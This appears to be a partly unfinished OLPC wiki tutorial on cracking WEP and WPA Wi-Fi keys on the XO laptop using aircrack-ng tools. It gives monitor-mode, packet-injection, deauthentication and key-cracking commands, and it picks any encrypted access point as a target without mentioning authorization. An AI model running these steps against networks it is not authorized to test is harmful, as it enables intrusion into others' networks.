Wireless network hacking

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These instructions describe how to test wireless networks for security holes and how to use the various security softwares with the XO OLPC. However, great care should be taken in using these tools and software as they may brick your XO in the worst case or considerably bloat your configuration. (Especially when saving large data files...)


For now, enabling monitor mode on newer XOs is not as simple as on the XO-1. For more information, see XO-1.5 Wireless Test Setup and XO-1.5 Wireless Test Report#Verify_monitor_interface

Updating Your Software/Firmware

Check General Firmware


to do

Check Wireless Firmware

Check that you have a recent version of the wireless firmware by following these instructions: http://wiki.laptop.org/go/Test_Config_Notes#Update_the_wireless_firmware

Install security related software

In order to continue we need some network tools:

  • wireshark - Is the world's foremost network protocol analyzer (formerly known as Ethereal)
  • kismet - Is a 802.11 layer2 wireless network detector, sniffer, and intrusion detection system.
  • aircrack-ng - Is a 802.11 WEP/WPA-PSK key cracking program that can recover keys from enough captured data packets
  • nessus - Is a well known network vulnerability scanner
  • bind-utils - Is a collection of utilities for querying name servers and looking up hosts.
  • traceroute - is a computer network tool used to determine the route taken by packets across an IP network.

We can install all of these in one go (in the terminal application):

yum install wireshark wireshark-gnome kismet aircrack-ng nessus bind-utils traceroute

Configuration of Network Tools

to do

Performing the Analysis

Find a target network

Press the Mesh button and inspect any interesting access point (AP). Any AP with a padlock on it is encrypted in one way or another. These are the ones suited for a WEP/WPA crack.

Collect Network data

Next we need to collect packet data. The way to do this is by enabling tcpdump or wireshark. However, because of some non standard wireless chipsets, we need to do the following:

/sbin/service NetworkManager stop                       # This service can interfere with monitoring
echo 0x7 > /sys/class/net/eth0/device/net/eth0/lbs_rtap # Enable monitor mode
ifconfig rtap0 up                                       # Bring up the monitor interface

The location of your sys file may be different. You can find it with: find /sys/class -name '*rtap*'

Start dumping the data:

tcpdump -s 128 -i rtap0 -w datadump.cap* 

Or use airodump, part of the aircrack-ng package in the olpc repository

airodump-ng --write [dumpfile] rtap0

Then we need to restore everything for normal operation:

ifconfig rtap0 down
echo 0x0 > /sys/class/net/eth0/device/net/eth0/lbs_rtap
/sbin/service NetworkManager start

Generate extra packets

By using aireplay-ng, we can generate extra packets in a short time, by injecting bogus ARP requests.In this examples we will use: 00:11:22:33:44:55 AP 00:66:77:88:99:AA client. The command is something like:

aireplay-ng -3 -b 00:11:22:33:44:55 -h 00:66:77:88:99:AA eth0

Cracking a WEP key

Follow the instructions at this page: http://docs.lucidinteractive.ca/index.php/Cracking_WEP_and_WPA_Wireless_Networks TODO: We should write a short distillation of that wiki here.

Using aircrack-ng:

aireplay-ng -3 -b 00:11:22:33:44:55 -h 00:66:77:88:99:AA eth0

Start another console session and enter:

aircrack-ng -z -b 00:11:22:33:44:55 output*.cap    

using the PTW WEP-cracking method

aircrack-ng -b 00:11:22:33:44:55 output*.cap       

using the FMS/Korek methodUsing the FMS/Korek method you will need approximately 250,000 IVs for 64 bit and 1,500,000 IVs for 128bit keys. Using the PTW method, 40-bit WEP can be cracked with as few as 20,000 data packets and 104-bit WEP with 40,000 data packets.

Cracking a WPA key

Execute the following command in the terminal application while there is a client successfully connected to the wireless access point:

aireplay -0 5 -a <AP MAC> -c <Client MAC> ath0


Cracking a MESH network

to do

Airtime analysis

For checking how much of the medium a give type of traffic is consuming, check this page

For More Info

(Trac #4805) 



To check what's in the default installation: